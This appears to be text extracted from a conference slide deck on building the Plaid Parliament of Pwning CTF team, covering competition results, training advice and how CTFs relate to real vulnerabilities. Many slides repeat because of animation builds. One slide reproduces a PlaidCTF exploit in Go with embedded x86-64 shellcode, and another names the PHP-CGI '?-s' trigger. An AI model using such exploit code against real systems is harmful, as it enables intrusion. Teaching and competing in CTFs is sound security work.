BUILDING A COMPETITIVE HACKING TEAM

TYLER NIGHSWANDER
In the starting of this tutorial I want clear this if u misuse this information in hacking someones computer then i am not responsible for it.

In this tutorial u will learn some basic codes and tricks in cmd (command prompt) so let's begin the tutorial.
How to Hack

Two Parts: Before You Hack  Hacking  Questions and Answers

Primarily, hacking was used in the "good old days" for learning information about systems and IT in general. In recent years, thanks to a few villain actors, hacking has taken on dark connotations. Conversely, many corporations employ hackers to test the strengths and weaknesses of their own systems. These hackers know when to stop, and the positive trust they build earns them a large salary.

If you're ready to dive in and learn the art, we'll share a few tips to help you get started!

In the starting of this tutorial i want clear that i am not responsible for it.

In this tutorial u will learn some basic codes and tricks in cmd (command prompt) so let's begin the tutorial!
How to Hack

Two Parts:  ■ Before You Hack  ■ Hacking  ■ Questions and Answers

Primarily, hacking was used in the "good old days" for learning information about systems and IT in general. In recent years, thanks to a few villain actors, hacking has taken on dark connotations. Conversely, many corporations employ hackers to test the strengths and weaknesses of their own systems. These hackers know when to stop, and the positive trust they instill in organizations is worth the salary.

To earn the art, we'll share a few tips to help you get started!
How to Hack

Two Parts:  ■ Before You Hack  ■ Hacking  ■ Questions and Answers

Primarily, hacking was used in the "good old days" for learning information about systems and IT in general. In recent years, thanks to a few villain actors, hacking has taken on dark connotations. Conversely, many corporations employ hackers to test the strengths and weaknesses of their own systems. These hackers know when to stop, and the positive trust they bring in emergency situations is worth their salary.
how to use cmd to hack (basic codes) by RohitA1

wikiHow to do anything

SoftICE
The Legendary Debugger for Windows

metasploit®

©2003 Google - Searching 3,083,324,652 webs
I DON'T THINK THIS IS WORKING
THE END
BUILDING A COMPETITIVE HACKING TEAM

ENTER:

THE PLAID PARLIAMENT OF PWNING
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?

Photo by Wisconsin National Guard
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?

INTERNET

Photo by Wisconsin National Guard
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?
BUILDING A COMPETITIVE HACKING TEAM

WHAT IS CAPTURE THE FLAG?

CUSTOM WEBSERVER
WHAT IS CAPTURE THE FLAG?

CUSTOM WEBSERVER

BINARY WITH CUSTOM PACKER
WHAT IS CAPTURE THE FLAG?

- Insecurely encrypted file
- Custom webservice
- Binary with custom packer
WHAT IS CAPTURE THE FLAG?

- Insecurely encrypted file
- Custom webserver
- Binary with custom packer
- Web page with SQL injection
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?
WHAT IS CAPTURE THE FLAG?

Flag.txt:
z0mg_y0u_hack3r
BUILDING A COMPETITIVE HACKING TEAM
Capture the Flag Application Security Challenge

Open to: undergraduates located in the continental U.S. can compete for prizes (see special note for graduate and international participants); this is an online competition that can be done remotely; limit 4 team members per team

Registration deadline: October 9 | Register
Challenge materials available: to be announced
Event dates: October 10 (00:00 hrs) to October 10 (23:59 hrs) EST
Finalists announced: October 11; Top 5-10 UG finalist teams will be flown to NYC, based on available budget, for a final round of CTF on the day of the awards ceremony.
Team captain/contact for questions: Ravi Ivaturi
BUILDING A COMPETITIVE HACKING TEAM

Cyber Security Awareness Week

Capture the Flag: Application Security Challenge

Open to: undergraduate and graduate students
 compete for prizes (see special note for graduate and internship communities)
 limitation that can be done remotely; limit
 4 team members per challenge
 Registration deadline: October 7
 Challenge materials available
 Event dates: October 10 (00:00 hrs) to October 10 (23:59 hrs) EST
 Finalists announced: October 11; Top 5-10 UG finalist teams will be flown to NYC, based on
 available budget, for a final round of CTF on the day of the awards ceremony.
 Team captain/contact for questions: Ravi Ivaturi

FINALISTS FLOWN TO NYC

CSAW Sponsors

SANS
Cisco

Register
Capture the Flag Application Security Challenge

Open to: undergraduates located in the continental U.S. can compete for prizes (see special note for graduate and international participants); this is an online competition that can be done remotely; limit 4 team members per team

Registration deadline: October 9 | Register

Challenge materials available: to be announced

Event dates: October 10 (00:00 hrs) to October 10 (23:59 hrs) EST

Finalists announced: October 11; Top 5-10 UG finalist teams will be flown to NYC, based on available budget, for a final round of CTF on the day of the awards ceremony.

Team captain/contact for questions: Ravi Ivaturi
Capture the Flag Application Security Challenge

Open to: undergraduates located in the continental U.S. can compete (graduate and international participants); this is an online competition that 4 team members per team

Registration deadline: October 9

Challenge materials available: to be announced

Event dates: October 10 (00:00 hrs) to October 10 (23:59 hrs) EST

Finalists announced: October 11; Top 5-10 UG finalist teams will be flown to NYC, based on available budget, for a final round of CTF on the day of the awards ceremony.

Team captain/contact for questions: Ravi Ivaturi
Capture the Flag Application Security Challenge

Open to: undergraduates located in the continental U.S. can compete for prizes (see special note for graduate and international participants); this is an online competition that can be done remotely; limit 4 team members per team

Registration deadline: October 9 | Register

Challenge materials available: to be announced

Event dates: October 10 (00:00 hrs) to October 10 (23:59 hrs) EST

Finalists announced: October 11; Top 5-10 UG finalist teams will be flown to NYC, based on available budget, for a final round of CTF on the day of the awards ceremony.

Team captain/contact for questions: Ravi Ivaturi
## Capture the Flag Application Security Challenge

Open to: undergraduates located in the continental U.S. can compete for prizes (see special note for graduate and international participants); this is an online competition that can be done remotely; limit 4 team members per team

Registration deadline: October 9 | Register

Challenge materials available: to be announced

**2009 Finalists**

<table>
<thead>
<tr>
<th>Rank</th>
<th>Team</th>
<th>School</th>
<th>Team Members</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ppop</td>
<td>Carnegie Mellon University</td>
<td>Brian Pak, Andrew Wesie, David Kohlbrenner, Tyler Nighswander</td>
</tr>
<tr>
<td>2</td>
<td>CMU</td>
<td>Carnegie Mellon University</td>
<td>Joseph Ceirante, Jonathan Cooke, Jim Irving</td>
</tr>
<tr>
<td>3</td>
<td>RPI SEC</td>
<td>Rensselaer Polytechnic Institute</td>
<td>Alexandru Radocea, Ryan Govostes, Adam Comella, Andrew Zonenberg</td>
</tr>
<tr>
<td>4</td>
<td>SecDaemons</td>
<td>DePaul University</td>
<td>Jonathan Tomek, Chris Long, Chris Lytle, Matthew Thomas</td>
</tr>
<tr>
<td>5</td>
<td>sla.ckers</td>
<td>Multiple Schools from Aus. &amp; US</td>
<td>Alex Kouzemetchenko, Bob Graham, Luke Jahnke</td>
</tr>
<tr>
<td>6</td>
<td>nibbles</td>
<td>Multiple Schools from France</td>
<td>Megueddem Samir, Sofian Brabez, Ledoux Florian, Cissé Abdoul Malick</td>
</tr>
<tr>
<td>7</td>
<td>HockeyInJune</td>
<td>Polytechnic Institute of NYU</td>
<td>Julian Cohen</td>
</tr>
</tbody>
</table>
## Capture the Flag Application Security Challenge

**Open to:** undergraduates located in the continental U.S. can compete for prizes (see special note for graduate and international participants); this is an online competition that can be done remotely; limit 4 team members per team

**Registration deadline:** October 9 | Register

**Challenge materials available:** to be announced

**Start date:** October 10 (23:00 hkt) to October 12 (23:59 hkt) EST

### 2009 Finalists

<table>
<thead>
<tr>
<th>Rank</th>
<th>Team</th>
<th>School</th>
<th>Team Members</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ppop</td>
<td>Carnegie Mellon University</td>
<td>Brian Pak, Andrew Wesie, David Kohlbrenner, Tyler Nightswander</td>
</tr>
<tr>
<td>2</td>
<td>CMU</td>
<td>Carnegie Mellon University</td>
<td>Joseph Ceirante, Jonathan Cooke, Jim Irving</td>
</tr>
<tr>
<td>3</td>
<td>RPISEC</td>
<td>Rensselaer Polytechnic Institute</td>
<td>Alexandru Radocea, Ryan Govostes, Adam Comella, Andrew Zonenberg</td>
</tr>
<tr>
<td>4</td>
<td>SecDaemons</td>
<td>DePaul University</td>
<td>Jonathan Tomek, Chris Long, Chris Lytle, Matthew Thomas</td>
</tr>
<tr>
<td>5</td>
<td>sla.ckers</td>
<td>Multiple Schools from Aus. &amp; US</td>
<td>Alex Kouzementchenko, Bob Graham, Luke Jahnke</td>
</tr>
<tr>
<td>6</td>
<td>nibbles</td>
<td>Multiple Schools from France</td>
<td>Megueudem Samir, Sofian Brabez, Ledoux Florian, Cissé Abdoul Malick</td>
</tr>
<tr>
<td>7</td>
<td>HockeyInJune</td>
<td>Polytechnic Institute of NYU</td>
<td>Julian Cohen</td>
</tr>
</tbody>
</table>
BUILDING A COMPETITIVE HACKING TEAM

[TRAINING MONTAGE]
BUILDING A COMPETITIVE HACKING TEAM

[TRAINING MONTAGE]

From Rocky (1976) by United Artists
BUILDING A COMPETITIVE HACKING TEAM

GETTING MOTIVATED
BUILDING A COMPETITIVE HACKING TEAM

GETTING MOTIVATED

- Competition format provides motivation
GETTING MOTIVATED

- Competition format provides motivation

- Most of security is adversarial, but it's not competitive
GETTING MOTIVATED

- Competition format provides motivation
  - Most of security is adversarial, but it's not competitive
- Instant feedback for problem solving keeps you on course
GETTING MOTIVATED

- Competition format provides motivation
  - Most of security is adversarial, but it’s not competitive
- Instant feedback for problem solving keeps you on course
- Global ranking of teams makes progress tracking simple
BUILDING A COMPETITIVE HACKING TEAM

GETTING MOTIVATED

- Competition format provides motivation
  - Most of security is *adversarial*, but it’s *not* competitive
- Instant feedback for problem solving keeps you on course
- Global ranking of teams makes progress tracking simple
- Point values help goal setting and personal progress
BUILDING A COMPETITIVE HACKING TEAM
BUILDING A COMPETITIVE HACKING TEAM

DEFCON CTF
BUILDING A COMPETITIVE HACKING TEAM

DEFCON CTF
DEFCON CTF

- DEFCON is not just a conference
DEFCON CTF

- DEFCON is not just a conference
- Oldest and most famous CTF - since 1996
DEFCON CTF

- DEFCON is not just a conference
- Oldest and most famous CTF - since 1996
- Basically the “World Series” of CTFs
BUILDING A COMPETITIVE HACKING TEAM
### DC 18 CTF Qualifications Complete! Top 10 Are Invite to Vegas!

Qualified teams:

1. VedaGodz
2. European Nopsled Team
3. TwoSixNine
4. Uberminers (deadline expired)
5. lollersk8erz
6. GoN
7. painsec
8. ACME Pharm
9. Routards
10. Nibbles (CANT PARTICIPATE)

alt. Plaid Parliament of Pwning
X. int3pid pandas (CANT PARTICIPATE)
alt. HackerDom
DC 18 CTF QUALIFICATIONS COMPLETE! TOP 10 ARE INVITE TO VEGAS!

Qualified teams:
1. VedaGodz
2. European Nopsled Team
3. TwoSixNine
X. Uberminers (deadline expired)
4. lollersk8erz
5. GoN
6. painsec
7. ACME Pharm
8. Routards
X. Nibbles (CANT PARTICIPATE)
9. shellphish
10. teambfe
alt. Plaid Parliament of Pwning
X. int3pid pandas (CANT PARTICIPATE)
alt. HackerDom
DC 18 CTF QUALIFICATIONS COMPLETE! TOP 10 ARE INVITE TO VEGAS!

Qualified teams:
1. VedaGodz
2. European Nopsled Team
3. TwoSixNine
X. Uberminers (deadline expired)
4. Iollersk8erz
5. GoN
6. painsec
7. ACME Pharm
8. Routards
X. Nibbles (CANT PARTICIPATE)
9. shellphish
10. teambfe
alt. Plaid Parliament of Pwning
X. int3pid pandas (CANT PARTICIPATE)
alt. HackerDom

You may be able to guess what happens next...
BUILDING A COMPETITIVE HACKING TEAM

DC 18 CTF QUALIFICATIONS COMPLETE! TOP 10 ARE INVITE TO VEGAS!

Qualified teams:
1. VedaGodz
2. European Nopsled Team
3. TwoSixNine
X. Uberminers (deadline expired)
4. lollersk8erz
5. GoN
6. painsec
7. ACME Pharm
8. Routards
X. Nibbles (CANT PARTICIPATE)
9. shellphish
10. teambfe

alt. Plaid Parliament of Pwning
X. int3pid pandas (CANT PARTICIPATE)
alt. HackerDom

► You may be able to guess what happens next...

► [Queue up training montage!]
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING
PARTICIPATION == TRAINING

- Practice for PPP means active CTF participation
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means active CTF participation
- There are several dozen online CTFs/year to use
PARTICIPATION == TRAINING

- Practice for PPP means *active CTF participation*
- There are several dozen online CTFs/year to use
- Active participation isn’t just signing up for competitions:
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means *active CTF participation*
- There are several dozen online CTFs/year to use
- Active participation isn’t just signing up for competitions:
  - Play from start to end… and beyond the end
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means *active CTF participation*
- There are several dozen online CTFs/year to use
- Active participation isn’t just signing up for competitions:
  - Play from start to end… and beyond the end
  - Read write-ups from other teams and follow along
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means active CTF participation.
- There are several dozen online CTFs per year to use.
- Active participation isn’t just signing up for competitions:
  - Play from start to end… and beyond the end.
  - Read write-ups from other teams and follow along.

- Search results for "ctf writeup" show resources like GitHub repositories and write-ups.

CTFs · GitHub
https://github.com/ctfs
Wiki-like CTF write-ups repository, maintained by the community. 2015… A collection of tools used to maintain and create CTF writeup folders. Updated 10 days ago.

CTFtime.org / New writeups
https://ctftime.org/writeups
30+ items - Task, Tags, Author team, Action. SECCON 2015 Online CTF.

<table>
<thead>
<tr>
<th>Task</th>
<th>Tags</th>
<th>Author team</th>
</tr>
</thead>
<tbody>
<tr>
<td>Steganography</td>
<td>binary, stegan</td>
<td>TeamInfoCTF</td>
</tr>
<tr>
<td>QR puzzle (Nonogram)</td>
<td>ppc, puzzle</td>
<td>Capture the Swag</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>14 - 36 - 16 - 24</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means *active CTF participation*
- There are several dozen online CTFs/year to use
- Active participation isn’t just signing up for competitions:
  - Play from start to end... and beyond the end
  - Read write-ups from other teams and follow along
BUILDING A COMPETITIVE HACKING TEAM

PARTICIPATION == TRAINING

- Practice for PPP means *active CTF participation*
- There are several dozen online CTFs/year to use
- Active participation isn’t just signing up for competitions:
  - Play from start to end... and beyond the end
  - Read write-ups from other teams and follow along
  - Look at problems from contests you didn’t play
TRAINING PAYS OFF
BUILDING A COMPETITIVE HACKING TEAM

TRAINING PAYS OFF

CSAW 2010 - 1st Place (Brooklyn, New York)
BUILDING A COMPETITIVE HACKING TEAM

TRAINING PAYS OFF

CSAW 2010 - 1st Place
(Brooklyn, New York)

Codegate - 2011 1st Place (Seoul, South Korea)
BUILDING A COMPETITIVE HACKING TEAM

TRAINING PAYS OFF

CSAW 2010 - 1st Place (Brooklyn, New York)

PHDays - 2011 1st Place (Moscow, Russia)
BUILDING A COMPETITIVE HACKING TEAM

IT'S DANGEROUS TO GO ALONE
IT’S DANGEROUS TO GO ALONE

- Teams are very important
BUILDING A COMPETITIVE HACKING TEAM

IT’S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
BUILDING A COMPETITIVE HACKING TEAM

IT’S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
  - Diverse set of skills to boost performance and learning
BUILDING A COMPETITIVE HACKING TEAM

IT’S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
  - Diverse set of skills to boost performance and learning
  - Teams allow for specialization!
BUILDING A COMPETITIVE HACKING TEAM

IT’S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
  - Diverse set of skills to boost performance and learning
  - Teams allow for specialization!
- PPP has no restrictions on members
BUILDING A COMPETITIVE HACKING TEAM

IT’S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
  - Diverse set of skills to boost performance and learning
  - Teams allow for specialization!
- PPP has no restrictions on members
  - Interest and dedication is most important trait!
BUILDING A COMPETITIVE HACKING TEAM

IT'S DANGEROUS TO GO ALONE

- Teams are very important
  - Motivation to stay hacking for 24+ hours straight
  - Diverse set of skills to boost performance and learning
  - Teams allow for specialization!
- PPP has no restrictions on members
  - Interest and dedication is most important trait!
  - *Everyone* improves over time, so maximize time
BUILDING A COMPETITIVE HACKING TEAM

QUALIFYING FOR DEFCON
QUALIFYING FOR DEFCON

- Qualify from winning iCTF ✅
BUILDING A COMPETITIVE HACKING TEAM

QUALIFYING FOR DEFCON

- Qualify from winning iCTF ✓
- Qualify from winning Codegate ✓
BUILDING A COMPETITIVE HACKING TEAM

QUALIFYING FOR DEFCON

- Qualify from winning iCTF ✓
- Qualify from winning Codegate ✓
- Qualify from DEFCON Qualifier round ✓
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
- Attack-Defense
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
- Attack-Defense
  - most common
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
  - most common
  - usually online
- Attack-Defense
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

▸ Jeopardy
  ▸ most common
  ▸ usually online

▸ Attack-Defense
  ▸ more “traditional”
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
  - most common
  - usually online

- Attack-Defense
  - more “traditional”
  - usually in-person
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
  - most common
  - usually online
  - organizers host challenges

- Attack-Defense
  - more “traditional”
  - usually in-person
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- Jeopardy
  - most common
  - usually online
  - organizers host challenges

- Attack-Defense
  - more “traditional”
  - usually in-person
  - teams host challenges
CTF FLAVORS

- Jeopardy
  - most common
  - usually online
  - organizers host challenges
  - many different categories

- Attack-Defense
  - more “traditional”
  - usually in-person
  - teams host challenges
CTF FLAVORS

- **Jeopardy**
  - most common
  - usually online
  - organizers host challenges
  - many different categories

- **Attack-Defense**
  - more “traditional”
  - usually in-person
  - teams host challenges
  - binary exploitation
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

▸ Jeopardy
  ▸ most common
  ▸ usually online
  ▸ organizers host challenges
  ▸ many different categories

▸ Attack-Defense
  ▸ more “traditional”
  ▸ usually in-person
  ▸ teams host challenges
  ▸ binary exploitation
BUILDING A COMPETITIVE HACKING TEAM

CTF FLAVORS

- **Jeopardy**
  - most common
  - usually online
  - organizers host challenges
  - many different categories
  - binary exploitation

- **Attack-Defense**
  - more "traditional"
  - usually in-person
  - teams host challenges
  - binary exploitation
European Nopsled Team wins!!

Packets and other such things will follow as time permits.

Final Rankings:

1. European Nopsled Team
2. Routards
3. Hates Irony
4. IV
5. int3pids
6. Iollersk8ers
7. Plaid Parliament of Pwning
8. PLUS@Postech
9. Shellphish
A. ACME Pharm
B. VelociROPtors
C. sutegoma2
BUILDING A COMPETITIVE HACKING TEAM

DEFCON 19 CAPTURE THE FLAG RESULTS

European Nopsled Team wins!!

Packets and other such things will follow as time permits.

Final Rankings:

1. European Nopsled Team
2. Routards
3. Hates Irony
4. IV
5. int3pids
6. lollersk8ers
7. Plaid Parliament of Pwning
8. PLUS@Postech
9. Shellphish
A. ACME Pharm
B. VelociROPtors
C. sutegoma2

DEFCON 2012 Finals
European Nopsled Team wins!!

Packets and other such things will follow as time permits.

Final Rankings:

1. European Nopsled Team
2. Routards
3. Hates Irony
4. IV
5. int3pids
6. lollersk8ers
7. Plaid Parliament of Pwning
8. PLUS@Postech
9. Shellphish
A. ACME Pharm
B. VelociROptors
C. sutegoma2
WHAT NEXT?
WHAT NEXT?

- Team members graduate, including founder Brian Pak
WHAT NEXT?

- Team members graduate, including founder Brian Pak
- I take over as leader of the team
WHAT NEXT?

- Team members graduate, including founder Brian Pak
- I take over as leader of the team
- PPP continues to grow and improve:
WHAT NEXT?

- Team members graduate, including founder Brian Pak
- I take over as leader of the team
- PPP continues to grow and improve:
  - Travel to Russia, South Korea, Japan, Taiwan
WHAT NEXT?

- Team members graduate, including founder Brian Pak
- I take over as leader of the team
- PPP continues to grow and improve:
  - Travel to Russia, South Korea, Japan, Taiwan
  - Formed PPP Inc. to handle all the money we win (!)
BUILDING A COMPETITIVE HACKING TEAM
BUILDING A COMPETITIVE Hacking TEAM

DEFCON 2012 Finals
BUILDING A COMPETITIVE HACKING TEAM

DEFCON 2012 Finals
BUILDING A COMPETITIVE HACKING TEAM

DEFCON 2012 Finals
# BUILDING A COMPETITIVE HACKING TEAM

## DEFCON 2013 Finals

<table>
<thead>
<tr>
<th>Team</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>PPP</td>
<td>15002</td>
</tr>
<tr>
<td>men in black hats</td>
<td>7924</td>
</tr>
<tr>
<td>raon_ASRT</td>
<td>7107</td>
</tr>
<tr>
<td>more smoked leet chicken</td>
<td>4160</td>
</tr>
<tr>
<td>routards</td>
<td>2503</td>
</tr>
<tr>
<td>sutegoma2</td>
<td>1540</td>
</tr>
<tr>
<td>shellphish</td>
<td>1223</td>
</tr>
<tr>
<td>Alternatives</td>
<td>1095</td>
</tr>
<tr>
<td>The European Nopsled Team</td>
<td>859</td>
</tr>
<tr>
<td>9447</td>
<td>506</td>
</tr>
<tr>
<td>blue lotus</td>
<td>441</td>
</tr>
<tr>
<td>Samurai</td>
<td>12</td>
</tr>
<tr>
<td>APT8</td>
<td>0</td>
</tr>
<tr>
<td>clgt</td>
<td>0</td>
</tr>
<tr>
<td>pwnies</td>
<td>0</td>
</tr>
<tr>
<td>pwningyeti</td>
<td>0</td>
</tr>
<tr>
<td>Robot Mafia</td>
<td>0</td>
</tr>
<tr>
<td>shell corp</td>
<td>0</td>
</tr>
<tr>
<td>[Technopandas]</td>
<td>0</td>
</tr>
<tr>
<td>WOWHacker-BIOS</td>
<td>0</td>
</tr>
</tbody>
</table>
### DEFCON 2013 Finals

<table>
<thead>
<tr>
<th>Team</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>PPP</td>
<td>15002</td>
</tr>
<tr>
<td>men in black hats</td>
<td>7924</td>
</tr>
<tr>
<td>raon_ASRT</td>
<td>7107</td>
</tr>
<tr>
<td>more smoked leet chicken</td>
<td>4160</td>
</tr>
<tr>
<td>routards</td>
<td>2503</td>
</tr>
<tr>
<td>sutegoma2</td>
<td>1540</td>
</tr>
<tr>
<td>shellphish</td>
<td>1223</td>
</tr>
<tr>
<td>Alternatives</td>
<td>1095</td>
</tr>
<tr>
<td>The European Nopsled Team</td>
<td>859</td>
</tr>
<tr>
<td>9447</td>
<td>506</td>
</tr>
<tr>
<td>blue lotus</td>
<td>441</td>
</tr>
<tr>
<td>Samurai</td>
<td>12</td>
</tr>
<tr>
<td>APT8</td>
<td>0</td>
</tr>
<tr>
<td>clgt</td>
<td>0</td>
</tr>
<tr>
<td>pwnies</td>
<td>0</td>
</tr>
<tr>
<td>pwningyeti</td>
<td>0</td>
</tr>
<tr>
<td>Robot Mafia</td>
<td>0</td>
</tr>
<tr>
<td>shell corp</td>
<td>0</td>
</tr>
<tr>
<td>[Technopandas]</td>
<td>0</td>
</tr>
<tr>
<td>WOWHacker-BIOS</td>
<td>0</td>
</tr>
</tbody>
</table>
## Final Scores

<table>
<thead>
<tr>
<th>Team</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Plaid Parliament of Pwning</td>
<td>11263</td>
</tr>
<tr>
<td>HITCON</td>
<td>7833</td>
</tr>
<tr>
<td>Dragon Sector</td>
<td>4421</td>
</tr>
<tr>
<td>Reckless Abandon</td>
<td>4020</td>
</tr>
<tr>
<td>blue-lotus</td>
<td>3233</td>
</tr>
<tr>
<td>(Mostly) Men in Black Hats</td>
<td>2594</td>
</tr>
<tr>
<td>raon_ASRT</td>
<td>2281</td>
</tr>
<tr>
<td>StratumAuhuur</td>
<td>1529</td>
</tr>
<tr>
<td>[CBA]9447</td>
<td>1519</td>
</tr>
<tr>
<td>KAIST GoN</td>
<td>1334</td>
</tr>
<tr>
<td>Routards</td>
<td>1262</td>
</tr>
<tr>
<td>More Smoked Leet Chicken</td>
<td>1248</td>
</tr>
<tr>
<td>Rinpia</td>
<td>1152</td>
</tr>
</tbody>
</table>
### Final Scores

<table>
<thead>
<tr>
<th>Team</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Plaid Parliament of Pwning</td>
<td>11263</td>
</tr>
<tr>
<td>HITCON</td>
<td>7833</td>
</tr>
<tr>
<td>Dragon Sector</td>
<td>4421</td>
</tr>
<tr>
<td>Reckless Abandon</td>
<td>4020</td>
</tr>
<tr>
<td>blue-lotus</td>
<td>3233</td>
</tr>
<tr>
<td>(Mostly) Men in Black Hats</td>
<td>2594</td>
</tr>
<tr>
<td>raon__ASRT</td>
<td>2281</td>
</tr>
<tr>
<td>StratumAuhuur</td>
<td>1529</td>
</tr>
<tr>
<td>[CBA]9447</td>
<td>1519</td>
</tr>
<tr>
<td>KAIST GoN</td>
<td>1334</td>
</tr>
<tr>
<td>Routards</td>
<td>1262</td>
</tr>
<tr>
<td>More Smoked Leet Chicken</td>
<td>1248</td>
</tr>
<tr>
<td>Pinia</td>
<td>1152</td>
</tr>
</tbody>
</table>

:D
BUILDING A COMPETITIVE HACKING TEAM

TODAY
TODAY

- So, I guess I’m a hacker now?
So, I guess I’m a hacker now?

Did I learn about “real” security playing games?
BUILDING A COMPETITIVE HACKING TEAM

CTFS AND THE REAL WORLD
CTFS AND THE REAL WORLD

- CTF problems are “distilled” real world problems
CTFS AND THE REAL WORLD

- CTF problems are "distilled" real world problems
- Same skills and thinking used in both
CTFS AND THE REAL WORLD

- CTF problems are “distilled” real world problems
- Same skills and thinking used in both
- “I don’t believe you”
Zero-Day FFmpeg Vulnerability Lets Anyone Steal Files from Remote Machines

Updated

Allows attackers to get files from your server or PC

Jan 13, 2016 22:03 GMT · By Marius Nestor ·

A zero-day vulnerability in the FFmpeg open-source multimedia framework, which is currently used in numerous Linux kernel-based operating systems and software applications, also for the Mac OS X and Windows platforms, was unveiled recently.

From [news.software.com](http://news.software.com)
Zero-Day FFmpeg Vulnerability Lets Anyone Steal Files from Remote Machines

Allows attackers to get files from your server or PC

Jan 13, 2016 22:03 GMT · By Marius Nestor

A zero-day vulnerability in the FFmpeg open-source multimedia framework, which is currently used in numerous Linux kernel-based operating systems and software applications, also for the Mac OS X and Windows platforms, was unveiled recently.

Hmmm that looks familiar...
Super Turbo Atomic GIF Converter - Web 180 Problem - Writeup by Robert Xiao (@nneonno)

Description

Kids these days like fancy web video instead of gifs, so I made a converter.

Flag is /home/ctf/flag.txt

Find it at http://superturboatomicgifconverter.9447.plumbing:9447

Solution

Looking at the source for this challenge, we see that it invokes ffmpeg to convert the input file from GIF to WebM. However, the only validation it does on the file is to check that the extension is .gif, and the file that is actually passed to FFmpeg is a temporary file with no file extension.
BUILDING A COMPETITIVE HACKING TEAM

CTFS AND THE REAL WORLD
For the record. My intention to solve the pirate danbi chal from codegate ctf, you need a memory corruption 0day in bzip2 which exists.

2:06 PM - 15 Mar 2015
CTFS AND THE REAL WORLD

DEFCON CTF is getting closer by the day...
/cc @LegitBS_CTF
BUILDING A COMPETITIVE HACKING TEAM

CTFS AND THE REAL WORLD

Bunyan’s Revenge (PlaidCTF 2013)

```go
package main

type T struct {
    offset [0x444110]byte
    x *int64
}

type Func func(string)

var f Func

// execve('/usr/bin/cat', ['/usr/bin/cat', 'flag'], NULL)
const shellcode = "\x48\x31\xc0\x48\x62\x48\xc7\xc1\x66\x6e\x67\x51\x48\x89\xe1" +
"\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe7\x48\x31\xc0\x50" +
"\x51\x48\x89\xe6\xb0\x03\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"

func main() {
    var _x int64
    _x = 0x42f5b0
    var t *T
    x := &t._x
    *x = 5.0
    // avoiding unused const optimized out, not a real argument
    f(shellcode)
}
```

The flag is `nx_was_a_good_idea_after_all`.

Bug in Go compiled allows type-unsafe code, solution by Blue Lotus
CTFS AND THE REAL WORLD

Eindbaizen PHP-CGI advisory (CVE-2012-1823)

Posted by admin

This is a detailed discussion of the generic PHP-CGI remote code execution bug we found while playing Nullcon CTF. We found that giving the query string `?-s` somehow resulted in the `-s` command line argument being passed to php, resulting in source code disclosure. We explored this bug further and managed to improve our exploit to remote code execution, and trace the bug to a PHP commit in 2004.

PHP has been working on a patch for this for quite a while. We have been waiting to post this blog entry until a fix was released, but today the bug was posted to reddit because it was apparently accidentally marked public.

Executive summary:

- PHP-CGI installations are vulnerable to remote code execution
- There is no official fix, but we provide some workarounds in the 'mitigation' section
- The PHP bug report is now public and contains an official patch and a mod_rewrite based workaround
- PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fixes the issue described in this post.
- The new PHP versions as well as the official php patch contain a bug which makes the fix trivial to bypass.
avoid being caught in a physical memory dump, though). This is achieved by polymorphic obfuscation, proper public key cryptography and not touching the disk at all (while still being able to run any statically linked ELF payload).

The described code has been successfully used in the Defcon 2011 CTF to deliver a FreeBSD local 0day without disclosing it to the playing teams (or so we’d like to believe). A Honeynet Project Forensic Challenge was to analyze this code, now we can present the real code.

**Speaker Bio:**

Georg Wicherski is a Senior Security Researcher with CrowdStrike, mostly analyzing advanced targeted threats. He loves to work on a low level, abandoning all syntactic sugar that HLL offer and working on instructions or bytecode. Recently, he has developed an interest for the ARM architecture.
BUILDING A COMPETITIVE HACKING TEAM

CTFS AND THE REAL WORLD
CTFS AND THE REAL WORLD

- OK, so maybe there is some real world relation...
CTFS AND THE REAL WORLD

- OK, so maybe there is some real world relation...
- But why play games instead of doing "real world" work?
BUILDING A COMPETITIVE HACKING TEAM

CTFS AND THE REAL WORLD
